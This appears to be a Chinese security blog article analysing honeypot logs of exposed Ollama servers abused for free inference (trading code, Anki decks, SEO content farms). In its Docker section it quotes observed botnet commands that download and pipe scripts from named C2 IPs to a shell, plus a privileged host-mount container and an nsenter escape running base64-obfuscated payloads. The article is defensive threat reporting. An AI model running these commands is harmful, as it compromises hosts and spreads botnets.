返回首页

Ollama 滥用:交易和内容农场

本文分析开放 Ollama 实例 Honeypots 的日志:侦察、health-check、用于交易、教育和 SEO 内容的利用。对 Docker 和 Kubelet 的并行攻击及逃逸技术描述。提供 IOC、MITRE ATT&CK 和保护措施。

Ollama 遭受攻击:机器人窃取 GPU 用于交易
Advertisement 728x90

Ollama滥用:从交易机器人到内容农场

开放的Ollama实例正被用于生成交易策略代码、制作教育材料以及批量生产SEO内容。德国、美国和俄罗斯的蜜罐系统已记录到对llama3.1:8b和qwen2.5:7b等热门模型的请求。攻击者在利用他人GPU资源前,会先进行侦察、健康检测和并行API端点测试。

侦察与可用性检测

扫描器首先通过基础查询验证实例是否正常运行。常见接口包括:

  • GET /api/tags —— 列出Ollama API中可用的模型。
  • GET /v1/models —— 返回兼容OpenAI格式的模型列表。
  • GET /api/version —— 获取服务器版本信息。

在美国的一台节点上,一周内记录了244次 /v1/models 请求和58次 /api/tags 请求。一个IP地址每20分钟执行一次健康检查,使用 POST /v1/chat/completions 发送载荷 {"messages": [{"role": "user", "content": "health-check"}]},共重复244次。

Google AdInline article slot

模型枚举遵循可预测模式:向llama3.1:8b、qwen2.5:7b、codellama:13b、mistral:7b、deepseek:33b、llama3.2等模型发送如 Hellohi 的简单提示。若模型返回响应,则该实例被视为可用。

滥用行为:任务类型

完成侦察后,真实任务随即展开。目前已观察到三类典型行为。

交易机器人

在美国某节点上,成功完成健康检查后,启动了一个生成交易策略代码的流水线:

Google AdInline article slot
{
  "messages": [{
    "role": "user",
    "content": "Write Python 3 code for:\ndef backtest_strategy(prices: list[float]) -> float:\nUse a 10-period fast SMA and 50-period slow SMA crossover on prices, long when fast > slow, flat/short when fast < slow, and return total PnL as a float. Output only that function, no extra text."
  }]
}

该提示通过 /api/chat/v1/chat/completions/v1/completions 在三个模型间重复执行12次。这反映出攻击者系统性地寻找免费后端算力以支持量化交易。

大语言模型客户端代理

一次与中文用户的会话中,GLM客户端转发了完整的对话历史,包含系统提示和先前回复。请求内容为:“做一个学习毛泽东的矛盾论 有30张卡片的anki牌组”。最终测试问题为:“你是什么模型”(What model are you?)。

内容农场

在俄罗斯节点上,使用模板化提示批量生成SEO内容:

Google AdInline article slot
Answer the following question thoroughly and in detail.

Question: How have neural networks and deep learning transformed AI?

RULES:
- Write a complete, detailed answer.
- Do NOT repeat the question.
- Do NOT add a preamble.
- Your LAST line must be exactly: ##ANSWER_DONE##

Answer:

##ANSWER_DONE## 这一停止词被解析器用来识别内容生成完成。主题涵盖机器学习与人工智能演进。多个模型并行调用,并采用链式思维推理处理问题。

并行基础设施攻击

Ollama扫描器常与针对Docker(端口2375)和Kubelet(端口10250)的攻击协同进行。

Docker漏洞利用

僵尸网络docker.selfrep(C2: 31.57.216.121)执行以下命令:

{
  "Cmd": ["sh", "-c",
    "(wget --no-check-certificate -qO- https://31.57.216.121/sh || curl -sk https://31.57.216.121/sh) | sh -s docker.selfrep"]
}

更危险的僵尸网络(C2: 45.194.92.39)使用特权容器:

{
  "Image": "alpine",
  "Cmd": ["sh", "-c", "echo d2dldCBodHRw...== | base64 -d | sh"],
  "HostConfig": {
    "Binds": ["/:/host"],
    "Privileged": true
  }
}

另一种方式:nsenter逃逸:

{
  "Cmd": ["nsenter", "--target", "1",
    "--mount", "--uts", "--ipc", "--net", "--pid",
    "--", "bash", "-c", "echo d2dldCBodHRw...== | base64 -d | sh"]
}

Kubelet侦察行为

/api/v1/pods/healthz 以及机器学习专用接口 /update_weights_from_tensor 的请求,表明攻击者试图定位机器学习工作流。

关键要点

  • 未受保护的Ollama实例已被整合进交易、教育和SEO内容生成的自动化流程中,且无需身份验证。
  • 健康检查与模型枚举(如 llama3.1、qwen2.5 等)是自动化扫描器的标准行为。
  • Docker攻击结合了nsenter逃逸、特权挂载与base64混淆技术。
  • ##ANSWER_DONE##health-check 等标记有助于识别自动化内容农场。
  • 防护措施应包括本地绑定、反向代理部署及流量监控。

— Editorial Team

Advertisement 728x90

继续阅读